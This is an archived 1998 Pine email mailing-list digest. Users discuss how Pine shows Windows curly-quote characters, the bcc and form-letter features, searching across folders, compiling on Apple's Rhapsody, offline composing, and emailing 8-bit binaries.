see when I use my Sun Mailtool and look at the untranslated quoted
printable rendition. (John writes concerning the truly unprintable
characters hex 0-31, "A common way to print these to screen is as a caret
'^' followed by a character. Carriage return (ASCII 13 decimal) is printed
as ^M - and the 'M' character is ASCII decimal 77 =3D 13 + 64. So Pine is
being helpful and using the same convention for the 'upper control
characters' "unprintable" characters is commonly done."=20

Others from among the 32 characters which can be bothersome are smart
quotes (single and double), various length dashes and the ... (ellipsis).

Assuming we have identified the problem correctly, the question is what to
do about it? It may be that some mail server translators (like the one
for the PINE List) can or do some renditions in 8-bit translation. (But a
recipient using netscape would like to get his curly quotes so might not
appreciate any other translation.) As I can see the curly quotes, etc.,
within Netscape on the same machine I use for pine, there is a font set
which knows about them, so maybe pine could not add 64 decimal to these
characters but just display them. Or one could put in a simple filter
which translates the characters into printable ones -- hex 92 gets changed
to hex 27, etc.

I (and John) would appreciate comments and suggestions. If someone
already has such a filter, please share. If you want references
documenting any of the above, we have it. (The PC Character Map and the
extended html set are not quite identical, for example.)

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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: Extended ISO-8859-1 and Pine
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>From: Arthur Snoke <[email protected]>
>Date: Thu, 25 Jun 1998 09:33:44 -0400 (EDT)

>But I still get some characters mistranslated, and after some sleuthing
>by myself and John Berthels <[email protected]>, I think we have
>an answer and that it is likely of interest to members of the list and the
>authors of pine.

That was fascinating; thank you.

>The most obvious of these is the apostrophe used in contractions like
>"Physician's". Instead of being transmitted as 39 decimal (27 hex), it comes
>across as a curly apostrophe with the code decimal 146 (hex 92).

In fact, I was having just such a discussion with someone from Germany a few
weeks ago about this very miscoded character!

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Dennis Gurgul <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Extended ISO-8859-1 and Pine
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I get the same apostrophe problem logging into a DEC unix box via
SmartTerm telnet on a W-95 PC. =20

Dennis J. Gurgul
Helix System Management
617.724.3169

On Thu, 25 Jun 1998, Arthur Snoke wrote:

> On 27 May I sent the Discussion Forum a note describing problems I, as a
> new PINE user, was having with some characters which were mistranslated,
> and I thought that the problem was with my configuration of pine not
> handling the iso-8859-1 character set translation.
>=20
> I was wrong. PINE on my sunos system handles normal iso-8859-1 fine.
>=20
> But I still get some characters mistranslated, and after some sleuthing
> by myself and John Berthels <[email protected]>, I think we have
> an answer and that it is likely of interest to members of the list and th=
e
> authors of pine.
>=20
> In the iso-8859-1 8-bit extension of US-ASCII, the first 32 character
> codes (hex 80-9F) are not used. These ARE used in two "extensions" of th=
e
> 8-bit character set, one is in the Windows Character Set and in the html
> which is written by "Save as" to html in clarisworks (and maybe others)
> and interpreted in Netscape 4 (but not Netscape 3). (HTML v3.2 also does
> not use those 32 character codes, so Netscape 4 is "nonstandard" in this=
=20
> respect unless there is a more recent "accepted" html character set).
>=20
> Hence if you get mail using pine (or eudora) which was written by a
> netscape 4.x mailer (or others, perhaps), you will get several characters
> mistranslated. The most obvious of these is the apostrophe used in
> contractions like "Physician's". Instead of being transmitted as 39
> decimal (27 hex), it comes across as a curly apostrophe with the code
> decimal 146 (hex 92). Here is a line from my most recent troublesome
> document:=20
>=20
> The Physician^=D2s Dilemma:
>=20
> On my xterm window, this comes across as the character with iso-8859-1
> code 210 decimal (D2 hex) -- an offset of 64 decimal (40 hex) from what I
> see when I use my Sun Mailtool and look at the untranslated quoted
> printable rendition. (John writes concerning the truly unprintable
> characters hex 0-31, "A common way to print these to screen is as a caret
> '^' followed by a character. Carriage return (ASCII 13 decimal) is printe=
d
> as ^M - and the 'M' character is ASCII decimal 77 =3D 13 + 64. So Pine is
> being helpful and using the same convention for the 'upper control
> characters' "unprintable" characters is commonly done."=20
>=20
> Others from among the 32 characters which can be bothersome are smart
> quotes (single and double), various length dashes and the ... (ellipsis).
>=20
> Assuming we have identified the problem correctly, the question is what t=
o
> do about it? It may be that some mail server translators (like the one
> for the PINE List) can or do some renditions in 8-bit translation. (But =
a
> recipient using netscape would like to get his curly quotes so might not
> appreciate any other translation.) As I can see the curly quotes, etc.,
> within Netscape on the same machine I use for pine, there is a font set
> which knows about them, so maybe pine could not add 64 decimal to these
> characters but just display them. Or one could put in a simple filter
> which translates the characters into printable ones -- hex 92 gets change=
d
> to hex 27, etc.
>=20
> I (and John) would appreciate comments and suggestions. If someone
> already has such a filter, please share. If you want references
> documenting any of the above, we have it. (The PC Character Map and the
> extended html set are not quite identical, for example.)
>=20
>=20
>=20
>=20
>=20
>=20
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>=20

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From: Joe DiBenedetto <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: customised message in the mail body
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Kitty,

If by "customised" you mean a form letter, there are ways. The simplest
is to create the form letter in plain text, and save the file in a public
or shared directory. Then users can copy the message to their home direc-
tory and read it into the body of their messages using ^R in compose mode.

Joe

On Thu, 25 Jun 1998, Kitty Kwan wrote:

> Just want to know if there are ways to include a customised message in
> the body of an email message which we may distribute to our mailusers or
> mailing lists.
>
> Kitty.
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

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Date: Thu, 25 Jun 1998 22:57:25 -0600 (MDT)
Reply-To: Raja BrewHaHa <[email protected]>
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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Extended ISO-8859-1 and Pine
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On Thu, 25 Jun 1998, Arthur Snoke wrote:

> PINE on my sunos system handles normal iso-8859-1 fine.

That would be because it does nothing to it, except for display.

> In the iso-8859-1 8-bit extension of US-ASCII, the first 32 character
> codes (hex 80-9F) are not used. These ARE used in two "extensions" of the
> 8-bit character set, one is in the Windows Character Set and in the html

That's code page 850, not iso-8859-1. There have been no changes to
iso-8859-1 regarding use of characters below 0x20, or for about 32
characters above 0x80.

> which is written by "Save as" to html in clarisworks (and maybe others)
> and interpreted in Netscape 4 (but not Netscape 3). (HTML v3.2 also does
> not use those 32 character codes, so Netscape 4 is "nonstandard" in this
> respect unless there is a more recent "accepted" html character set).

As I mentioned, this is code page 850. Yes. NetScape is folowing M$
towards possible backwards incompatibility if the IETF or ISO bodies
extend iso-8859-1 and others.

> Hence if you get mail using pine (or eudora) which was written by a
> netscape 4.x mailer (or others, perhaps), you will get several characters
> mistranslated. The most obvious of these is the apostrophe used in
> contractions like "Physician's". Instead of being transmitted as 39
> decimal (27 hex), it comes across as a curly apostrophe with the code
> decimal 146 (hex 92). Here is a line from my most recent troublesome
> document:
>
> The Physician^�s Dilemma:

Decimal 146 is within an excluded range of iso-8859-1. It's okay for 8bit,
as in binary files. It shouldn't be printable.

> Assuming we have identified the problem correctly, the question is what to
> do about it? It may be that some mail server translators (like the one
> for the PINE List) can or do some renditions in 8-bit translation. (But a
> recipient using netscape would like to get his curly quotes so might not
> appreciate any other translation.) As I can see the curly quotes, etc.,

In order to do that, you would have to make everyone register with the
character set that they use. Asking NetScape to document these
non-standards as

Content-Type: text/plain; charset=code-page-850

would make more sense. Pine might then know how to translate such
characters into printables for display.

> within Netscape on the same machine I use for pine, there is a font set
> which knows about them, so maybe pine could not add 64 decimal to these
> characters but just display them. Or one could put in a simple filter
> which translates the characters into printable ones -- hex 92 gets changed
> to hex 27, etc.

I'm not sure why Pine is adding 64 to characters between 0x80 and 0xBF
inclusive. Possibly, those are already used for terminal control, which
means that you could change that code in Pine yourself if those characters
are printable on your terminal (with that font you mention loaded).

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Thu, 25 Jun 1998 23:23:39 -0600 (MDT)
Reply-To: Raja BrewHaHa <[email protected]>
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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: customised message in the mail body
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On Thu, 25 Jun 1998, Kitty Kwan wrote:

> Just want to know if there are ways to include a customised message in
> the body of an email message which we may distribute to our mailusers or
> mailing lists.
>
> Kitty.
>

If by "customised" you mean "personalized form letter", you're best off
using another program, like WordPerfect, to generate the letters. Just
use the "ASCII text printer" printer driver to make it print to a file.

While that will speed up creation of the letters a bit, it will also
result in one large file. That's fine.

If you take a look at your postponed messages file, and make a WordPerfect
form that will imitate that file format, you should be able to minimize
the necessary work.

That should reduce the work to a few key-strokes per message. If you could
turn off Pine's display and run a keyboard macro for the purpose, you'd be
laughing. As it is, you're stuck with a lot of unnecessary display if you
can figure out how to write the keyboard macro.

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Subject: Re: Extended ISO-8859-1 and Pine
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---559023410-758783491-898859935=:4359
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> > PINE on my sunos system handles normal iso-8859-1 fine.
>
> That would be because it does nothing to it, except for display.

Almost...see 'control character' bit below.

> > In the iso-8859-1 8-bit extension of US-ASCII, the first 32 character
> > codes (hex 80-9F) are not used. These ARE used in two "extensions" of the
> > 8-bit character set, one is in the Windows Character Set and in the html
>
> That's code page 850, not iso-8859-1. There have been no changes to
> iso-8859-1 regarding use of characters below 0x20, or for about 32
> characters above 0x80.

Cool (I didn't know the name for it). Its code page 850. Unfortunately
this is what Netscape 4 (at least) will produce and label as text/plain;
charset=iso-8859-1 [It and IE also understand these codes as &XXX;
'ampersand tags' in HTML documents.]

> As I mentioned, this is code page 850. Yes. NetScape is folowing M$
> towards possible backwards incompatibility if the IETF or ISO bodies
> extend iso-8859-1 and others.

I'm not sure, but I think this range is already used in iso-8859-1 for
non-printable control characters.

> Decimal 146 is within an excluded range of iso-8859-1. It's okay for 8bit,
> as in binary files. It shouldn't be printable.

Yup. But as above, Netscape labels this bodypart as iso-8859-1. Bad
netscape.

> > Assuming we have identified the problem correctly, the question is what to
> > do about it? It may be that some mail server translators (like the one
> > for the PINE List) can or do some renditions in 8-bit translation. (But a
> > recipient using netscape would like to get his curly quotes so might not
> > appreciate any other translation.) As I can see the curly quotes, etc.,
>
> In order to do that, you would have to make everyone register with the
> character set that they use. Asking NetScape to document these
> non-standards as
>
> Content-Type: text/plain; charset=code-page-850
>
> would make more sense. Pine might then know how to translate such
> characters into printables for display.

This would be the best solution, naturally.

> I'm not sure why Pine is adding 64 to characters between 0x80 and 0xBF
> inclusive. Possibly, those are already used for terminal control, which
> means that you could change that code in Pine yourself if those characters
> are printable on your terminal (with that font you mention loaded).

PINE seems to do the same thing for the 80->bf control characters as it
does for the 00->1f ones. Namely print a caret '^', followed by a
character which has the code of the control character + 64.

[e.g. ^M for carriage return. This practice is common - is it standardised
anywhere?]

Attached is a little perl script which maps a couple of these CP 850
characters to similar glyphs in iso-8859-1. I've installed it with a

display-filters=_CHARSET(ISO-8859-1)_ /path/to/the/filter/8859filt

line. Seems to work, but I don't get much of this mail.

In the spirit of "liberal in what you expect", would a config option to
perform similar translations to characters in this illegal range in a
iso-8859-1 text be a good thing to add to pine? [Would remove the overhead
of running the display filter.]

regards,

jb

--
John Berthels
Email: [email protected]
X.400: /G=john/S=berthels/O=nexor/P=nexor/A=cwmail/C=gb/

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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Hi!

I want to write an application in C using the interface that Pine uses:
control keys, move with arrows keys, highlighted text, frames, etc. How
can I do that? What libraries I should use and where can I find them?

Have a nice day!

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Subject: searching (with Select ';') across multiple folders
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Hello to all readers!

I am not subscribed to this list, so if you have a suggestion, please send
it to me directly (in addition to the list, if you like).

I love PINE (v. 3.96 on Sun Solaris 2.6) and the Select feature (using the
semi-colon) is really superb. My problem is that I often have to find a
collection of messages that are in different folders. I end up having to
reapply the same command in one folder after another. If only PINE could
search across multiple folders simultaneously!

Will future versions of PINE have this feature? If not, is there any
software out there that can search a collection of mbox files and output
another mbox containing all the messages that meet certain criteria?

Thanks much!

Mike

Michael B. Miller, M.S., Ph.D., M.P.E.
Department of Psychology
210 McAlester Hall
University of Missouri--Columbia
Columbia, MO 65211
Phone: (573) 882-5671
Fax: (573) 882-7710
e-mail: [email protected]
web: http://taxa.psyc.missouri.edu/~mbmiller/

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-----
Jan Kalin, male, preferred languages: English, Slovene.
See http://charm.zag.si/ for contact information

---------- Forwarded message ----------
Date: Thu, 18 Jun 1998 01:28:50 -0700 (PDT)
From: UW Email Robot <[email protected]>
To: Jan Kalin <[email protected]>
Subject: Re: Suggestions for Pine 4.00

ACKNOWLEDGMENT

Your message to the Pine development team has arrived safely in Seattle.
As soon as possible, a member of the group will take a look at it.

Unfortunately, because we now receive thousands of messages every week
from the millions of Pine users around the world, we rarely have the time
to answer back, so please don't expect a response (other than this one).

If you were seeking information, as opposed to reporting a bug or making a
suggestion, here are some alternative sources of assistance:

The Pine Information Center: http://www.washington.edu/pine/
The Pine FTP archive: ftp://ftp.cac.washington.edu/pine/
The world-wide Pine newsgroup: comp.mail.pine

Thanks for your interest in Pine!

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From: Jan Kalin <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Suggestions for Pine 4.00 (fwd)
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Hi to all from a fresh subscriber to the mailing list!

First of all, apologies for the previous letter. It slipped through my
fingers (I pressed ^X instead of ^C :) Maybe the keys for "Cancel" and
"Send" should be a bit more distant from each other. But that was not what
I wanted to write about.

I'm delighted to have seen that a new version of Pine is due to be released
(I won't ask when :) It is the only mail client I've found up to now that
works perfectly in all the environments I work in, Silicon Graphics' Irix
6.2, WinNT, Win95 and Win3.11 (this is also one of the reasons I use vim
for editing ASCII files on all these platforms).

I was, however, dissapoined to hear that it will not yet have possibility
of off-line operation and I believe, in these days of portable computers,
that it would be a *major* plus for Pine.

What I propose is actually simpler than off-line or disconnected operation.
Let me explain what I've done and maybe this will clarify the idea. I have
a portable PC with Windows NT and the imap server is a SGI Indy running
Irix. Unfortunately, I only have access to Internet during the office hours
and I don't have time in the office for the longer letters. Now, since Pine
needs to connect to an imap server to compose a message, I've solved the
problem by installing a free imap server for WinNT on my portable. Actually
it's a complete mail server (Vintra), but it also understands imap.

This means that now I can log on to the local server, compose a letter at
home and postpone it, then, at the office and using a different .pinerc,
log on to the real server and send the letter. I created some folders
locally, where I keep copies of correspondence with people with whom I
exchange longer letters, otherwise all the folders are on the server.

What I believe is a possible and a very simple way of solving (temporarily
at least) the lack of off-line or disconnected mode is to incorporate a
'dummy' imap server into Pine itself. If you couldn't log on to a real imap
server, you'd be given a choice to use the dummy server and you could then
compose and postpone messages but not mail them. The dummy server's INBOX
would, of course, be empty (or possibly nonexistent), but at least you'd be
able to see local folders.

I *know* that you can achieve the same thing by just editing a file in a
temporary directory and then reading it into a composition, but it would be
more convenient to be able to work like I described.

Cheers,
Jan

-----
Jan Kalin, male, preferred languages: English, Slovene.
See http://charm.zag.si/ for contact information

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From: Vinnie Chassot <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Pine and Rhapsody
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Anyone know of anyone who has gotten pine to compile on rhapsody? I've got
a friend who is trying to do just that and failing rather spectacularly.
Ideas? Links? Small furry beasts from betelguese?

Vinnie
--
[email protected] System Administrator Epoch Internet
"It's more than just eye to eye
learn the things I could never apply" -- Least Complicated

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From: Vinnie Chassot <[email protected]>
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Subject: Re: Suggestions for Pine 4.00 (fwd)
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> First of all, apologies for the previous letter. It slipped through my
> fingers (I pressed ^X instead of ^C :) Maybe the keys for "Cancel" and
> "Send" should be a bit more distant from each other. But that was not what
> I wanted to write about.

I agree with this one! I've embarrased myself one to many times this way.

> I *know* that you can achieve the same thing by just editing a file in a
> temporary directory and then reading it into a composition, but it would be
> more convenient to be able to work like I described.

of course, the ultimate in convenience is just to have a machine you can
log in remotely too -- and keep everything on it..but then I've always
been a bit of a packrat :)

Vinnie

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On Mon, 29 Jun 1998, Vinnie Chassot wrote:

> > I *know* that you can achieve the same thing by just editing a file
in a
> > temporary directory and then reading it into a composition, but it
> > would be more convenient to be able to work like I described.
>
> of course, the ultimate in convenience is just to have a machine you can
> log in remotely too -- and keep everything on it..but then I've always
> been a bit of a packrat :)

Ah, yes, but that implies that you always have access to the network. In
fact, the suggestion I sent only came about after I moved temporarily to
Belgium. Since I work at nuclear research instutute, where the security is
relatively high, I don't have access to my office during weekends and I
don't have a phone in my room to hook up to the network.

In fact, the *most* important reason why I chose imap and Pine is that I
can keep my folders on the server and either run Pine on the server itself
or on a PC (depending, for instance, whether I want to attach a file that's
on the PC or on the server), and *always* have the same state of folders,
no matter where I am. But, as I said, you need to have access to the
network for that.

Cheers,
Jan

BTW, what *is* the exotic machine you've mentioned?

-----
Jan Kalin, male, preferred languages: English, Slovene.
See http://charm.zag.si/ for contact information

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>
> BTW, what *is* the exotic machine you've mentioned?

which? My set up (which is just a linux box that is happily networked) or
Rhapsody which is an Apple dev'd unix-type-os for macintosh that
officially was stillborn, but rumours abound on it's future.

Vinnie

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> >
> > BTW, what *is* the exotic machine you've mentioned?
>
> which? My set up (which is just a linux box that is happily networked) or
> Rhapsody which is an Apple dev'd unix-type-os for macintosh that
> officially was stillborn, but rumours abound on it's future.

Yes, Rhapsody was what I asked about.

-----
Jan Kalin, male, preferred languages: English, Slovene.
See http://charm.zag.si/ for contact information

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Subject: Re: Suggestions for Pine 4.00 (fwd)
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oh. well, then rhapsody is just that -- a unix for Macintosh.

Vinnie

--
[email protected] System Administrator Epoch Internet
"It's more than just eye to eye
learn the things I could never apply" -- Least Complicated

On Mon, 29 Jun 1998, Jan Kalin wrote:

> Date: Mon, 29 Jun 1998 13:55:11 +0200 (Romance Daylight Time)
> From: Jan Kalin <[email protected]>
> To: Pine Discussion Forum <[email protected]>
> Subject: Re: Suggestions for Pine 4.00 (fwd)
>
> > >
> > > BTW, what *is* the exotic machine you've mentioned?
> >
> > which? My set up (which is just a linux box that is happily networked) or
> > Rhapsody which is an Apple dev'd unix-type-os for macintosh that
> > officially was stillborn, but rumours abound on it's future.
>
> Yes, Rhapsody was what I asked about.
>
> -----
> Jan Kalin, male, preferred languages: English, Slovene.
> See http://charm.zag.si/ for contact information
>
>

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Suggestions for Pine 4.00 (fwd)
In-Reply-To: <[email protected]>; from Vinnie Chassot on Mon, Jun 29, 1998 at 05:19:38AM -0700
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Quoting Vinnie Chassot ([email protected]):
> oh. well, then rhapsody is just that -- a unix for Macintosh.

*rotfl*

<http://developer.apple.com/rhapsody/>
Rhapsody is the code-name of Apple's upcoming operating system which will
complement Mac OS by providing an advanced environment for servers and
software development. While still running the huge library of existing
Macintosh programs, Rhapsody also includes a breakthrough software development
platform, code-named Yellow Box, for building new classes of reliable,
media-rich and cross platform applications. Rhapsody will provide superior
Java and Internet support, and is based on the tools used to create
revolutionary technologies such as the World Wide Web.

In short: MacOS sans bugs (hopefully...) plus a disembowelled NeXTstep. Could
have been a killer 3 years ago. Doesn�t stand a bit of a chance against Linux
in 1998 if you ask me.

Robin

--
Robin S. Socha M.A.
Control Risks Germany Ltd.
<http://www.crg.com/>

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From: Mike Miller <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: searching (with Select ';') across multiple folders
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I decided that I would take PINE-INFO as daily digests, so I'll post a
response to my query on searching across multiple folders using the select
command. Great news--Pine 4.00 will include this facility. In the
meantime, I did discover a way to get what I wanted using the Unix 'cat'
command. I leave Pine, cd to my mail directory, then

cat foldernames > newfolder

This command will take a collection of folders and it will append them all
together into one big folder called "newfolder". "foldernames" could be
wildcard name like "sent*" or a series of filenames. The 'newfolder'
might be huge, and that is one of the main drawbacks of this method. Then
go back into pine, enter the "newfolder" folder, and do the select. It
could be slow, but it works.

Regards to all,

Mike

On Mon, 29 Jun 1998, Edan Idzerda wrote:

> On Sat, 27 Jun 1998, Mike Miller wrote:
>
> > collection of messages that are in different folders. I end up having to
> > reapply the same command in one folder after another. If only PINE could
> > search across multiple folders simultaneously!
>
> Check out the Pine 4.00 preview, at
>
> http://www.washington.edu/pine/changes/4.00-preview/
>
> It allegedly will this feature.
>
>
> > Will future versions of PINE have this feature? If not, is there any
> > software out there that can search a collection of mbox files and output
> > another mbox containing all the messages that meet certain criteria?
>
> That sounds like an interesting program. I often just use 'grep'
> and look for something unique. You could use glimpseindex on a
> regular basis...
>
> But I guess Pine 4 will take care of it for you :)
>
> - edan
>
>
>

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
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Subject: Re: Pine and Rhapsody
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Author: Vinnie Chassot <[email protected]>
Date: Mon, 29 Jun 1998 01:51:56 -0700 (PDT)
ID: <[email protected]>

> Anyone know of anyone who has gotten pine to compile on rhapsody? I've got
> a friend who is trying to do just that and failing rather spectacularly.
> Ideas? Links? Small furry beasts from betelguese?

ftp://next-ftp.peak.org/pub/rhapsody/Applications/Unix/Mail/pine-3.96-I-b.tar.gz

There's an Intel (binary) version of it... haven't heard of a PowerPC version

TjL

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Rhapsody (was Re: Suggestions for Pine 4.00 (fwd))
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Author: "Robin S. Socha" <[email protected]>
Date: Mon, 29 Jun 1998 14:42:34 +0200
ID: <[email protected]>

> In short: MacOS sans bugs (hopefully...) plus a disembowelled NeXTstep.

Not really. MacOS with protected memory (ie won't crash/lockup like your
Mac) and hopefully with less bugs.

The NeXTStep part is difficult... they are keeping most of the Mac GUI which
could have been vastly improved on by adding the NeXTStep elements.

However, the kernel will be based on BSD4.4, which will actually be
significantly better than what NeXTStep had.

> Could have been a killer 3 years ago.

It could have been extremely killer almost 10 years ago if Apple hadn't
decided to cut its wrist by sending Steve Jobs packing.... NeXT, inc's OS
together with greater resources would have been a big plus.

> Doesn't stand a bit of a chance against Linux in 1998 if you ask me.

Apple has killed Intel support (NeXTStep worked on HP/Sparc/NeXT
hardware/and Intel) which turned me from optimistic to extremely pessimistic
about its future. I'm not sure Linux is the biggest competitor. Anyone who
has installed both will tell you that NeXTStep is 100% easier to setup and
when you're done you have the beautiful GUI as opposed to a commandline
interface trying to get X (blech) running.

Anyway, we're way off topic here... there's a Rhapsody discussion list at
http://www.omnigroup.com for those who want to know more

TjL (NeXTStep user since 1991)

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Subject: Re: Rhapsody (was Re: Suggestions for Pine 4.00 (fwd))
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* Timothy J Luoma <luomat+Lists/Unix/[email protected]> writes:
> "Robin S. Socha" <[email protected]>

>> Doesn't stand a bit of a chance against Linux in 1998 if you ask
>> me.

> Apple has killed Intel support (NeXTStep worked on HP/Sparc/NeXT
> hardware/and Intel) which turned me from optimistic to extremely
> pessimistic about its future. I'm not sure Linux is the biggest
> competitor. Anyone who has installed both will tell you that
> NeXTStep is 100% easier to setup and when you're done you have the
> beautiful GUI as opposed to a commandline interface trying to get
> X (blech) running.

Well, it's not the Real Thing(tm), but it's damn close in look and
feel if you ask me: <http://www.windowmaker.org/>. And yes, it's OT -
reply-to set ;-)

Later,
Robin

--
Robin S. Socha M.A.
Control Risks Ltd. <http://www.crg.com/>

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From: Kitty Kwan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: bcc function in pine
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Can any anyone kindly tell me if there is a "bcc" function in the pine
program? It would certainly help us distribute mails in a much effective
way. Thx.

Kitty.

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From: Norbert Koch <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: bcc function in pine
In-Reply-To: Kitty Kwan's message of "Tue, 30 Jun 1998 14:19:52 +0800 (HKT)"
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Kitty Kwan writes:

> Can any anyone kindly tell me if there is a "bcc" function in the
> pine program? It would certainly help us distribute mails in a much
> effective way. Thx.

Short answer: Yes, I can tell you that there is :-)

Longer one: In compose mode, while being in the header region, type ^R
(rich header) and find the field :-)

l8er, norbert.

--
Norbert Koch, DELTA Industrie Informatik GmbH, Fellbach, Germany.
YOW: Th' PINK SOCK... soaking... soaking... soaking...
Th' PINK SOCK... washing... washing... washing...
Th' PINK SOCK... rinsing... rinsing... rinsing...

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From: Vinnie Chassot <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: bcc function in pine
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when sending, arrow up into the header section and hit ctrl-R

Vinnie

--
[email protected] System Administrator Epoch Internet
"It's more than just eye to eye
learn the things I could never apply" -- Least Complicated

On Tue, 30 Jun 1998, Kitty Kwan wrote:

> Date: Tue, 30 Jun 1998 14:19:52 +0800 (HKT)
> From: Kitty Kwan <[email protected]>
> To: Pine Discussion Forum <[email protected]>
> Subject: bcc function in pine
>
> Can any anyone kindly tell me if there is a "bcc" function in the pine
> program? It would certainly help us distribute mails in a much effective
> way. Thx.
>
> Kitty.
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

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From: "Patrick Leung" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: RE: bcc function in pine
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>From message compose window, press "control r" while your cursor is in
message header area, you will find the "bcc" header line.

> -----Original Message-----
> From: [email protected]
> [mailto:[email protected]]On Behalf Of Kitty Kwan
> Sent: Tuesday, June 30, 1998 2:20 PM
> To: Pine Discussion Forum
> Subject: bcc function in pine
>
>
> Can any anyone kindly tell me if there is a "bcc" function in the pine
> program? It would certainly help us distribute mails in a much effective
> way. Thx.
>
> Kitty.
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

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Your editor's behaviour of wrapping long lines is especially annoying when trying to transfer files in 8bit binary mode....The wrapping will inevitably cause errors.

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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Binary
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On Tue, 30 Jun 1998, Robin S. Socha wrote:

> Quoting Raja BrewHaHa ([email protected]):
> > Your editor's behaviour of wrapping long lines is especially annoying when trying to transfer files in 8bit binary mode....The wrapping will inevitably cause errors.
>
> Tell me, Raja - what`s it like, talking to yourself in front of an entire
> mailing list?

I address it to a group of people, developers included. One copy of it
comes back to me. I know who sent it, and it wasn't me. Maybe it's to me
if I can answer it.

If that bothers you, I'll go with "Pico's behaviour" when I know that
there isn't a switch to turn this line-warping off, or when I know who has
final say in how Pico behaves. As far as I can tell, no one has final say,
or it'll be the same in Version 4.0.

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Binary
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> Your editor's behaviour of wrapping long lines is especially annoying when
> trying to transfer files in 8bit binary mode....The wrapping will
> inevitably cause errors.

A) Why are you sending binaries via email rather than ftp?

B) Why are you opening binaries in an editor rather than just attaching them
(in the headers of PINE)?

Wrapping *SHOULD* be done on the text of a message, but not the attachments.

If you aren't attaching them, this is pilot error (ie you)

If you are attaching them (using the Attchmnt: header) then it is a PINE
error, but I've transferred binaries this way when I had to and there was no
problem.

TjL

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From: Raja BrewHaHa <[email protected]>
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On Tue, 30 Jun 1998, Timothy J Luoma wrote:

> > Your editor's behaviour of wrapping long lines is especially annoying when
> > trying to transfer files in 8bit binary mode....The wrapping will
> > inevitably cause errors.
>
> A) Why are you sending binaries via email rather than ftp?

Because not everyone has filespace for me to SEND to.

> B) Why are you opening binaries in an editor rather than just attaching them
> (in the headers of PINE)?
>
> Wrapping *SHOULD* be done on the text of a message, but not the attachments.
> If you aren't attaching them, this is pilot error (ie you)

If I attach them, Pine puts them in Base 64 beyond my control, which isn't as universal as JustSend8, or 8bitmime, especially with old mailers. Attachments certainly require human knowledge of MIME, which is more common.

Why bother going through the trouble of telling someone how to get and use a base64 tool, when an 8bit binary will do the trick 9 times out of 10.

I've also received several (about 10) messages where the paragraphs were NOT wrapped. Pine wrapped them correctly in the viewer.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
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> >A) Why are you sending binaries via email rather than ftp?
>
> Because not everyone has filespace for me to SEND to.

Then put it on a webpage and let those who want it download it.

You needn't make it publically available, make a directory like
'privatestuff' touch 'index.html' and put the file in that directory.

Tell those who want it where to find it.

Email is the wrong method of sending binaries no matter how man people use
it. See 'man uuencode' for a good look at how inefficient it is (25 or 35%
IIRC)

> If I attach them, Pine puts them in Base 64 beyond my control,

What kind of file is it? Have you tried (g)zip-ping it (depending on who
you are sending it to)

TjL

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From: Edan Idzerda <[email protected]>
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On Tue, 30 Jun 1998, Raja BrewHaHa wrote:

> > A) Why are you sending binaries via email rather than ftp?
> Because not everyone has filespace for me to SEND to.

Ah, but they have mail spool space? Ok, whatever--I don't think FTP
is the answer either.

> If I attach them, Pine puts them in Base 64 beyond my control, which isn't as universal as JustSend8, or 8bitmime, especially with old mailers. Attachments certainly require human knowledge of MIME, which is more common.

I think it's odd that these people with old mailers have modern mail
delivery programs, but again, not the point. It sounds like in
your daily practice you don't have a problem with mailers stripping
out your high bit from under you.

You bring up a good point; it might be a nice feature if Pine gave you
a choice of encodings.

> Why bother going through the trouble of telling someone how to get and use a base64 tool, when an 8bit binary will do the trick 9 times out of 10.

I believe that Pico has a limitation of 255 character lines. There is
no motivation to extend that limitation, because it is a simple text
editor.

If you wish to include binary files directly in your messages, you'll
need to use Pine's "alternate editor" facility. I personally use
"enable-alternate-editor-implicitly" to invoke it automatically.

- edan

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On Tue, 30 Jun 1998, Timothy J Luoma wrote:

If your girlfriend asked you for a binary, would you make it public?

> Email is the wrong method of sending binaries no matter how man people use
> it. See 'man uuencode' for a good look at how inefficient it is (25 or 35%
> IIRC)

That's over 8bit. 8bit, MIME or not, is just as efficient as binary FTP, maybe a little bit more efficient, counting overhead--definitely more efficient if you count the overhead in the assumption that your recipient even HAS ftp access.
They could be on FidoNet.

> > If I attach them, Pine puts them in Base 64 beyond my control,
>
> What kind of file is it? Have you tried (g)zip-ping it (depending on who
> you are sending it to)

My version of Pine puts HTML attachments in Base 64. I don't see any place in the mimetypes file for changing that.

Basically, my question is this: Why can't I make a binary into the main message instead of making it an attachment? Pine won't necessarily document the font correctly in that case, and who will care? On another viewpoint, there's these paragraphs that Pine warps into lines.

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On Tue, 30 Jun 1998, Edan Idzerda wrote:

> I think it's odd that these people with old mailers have modern mail
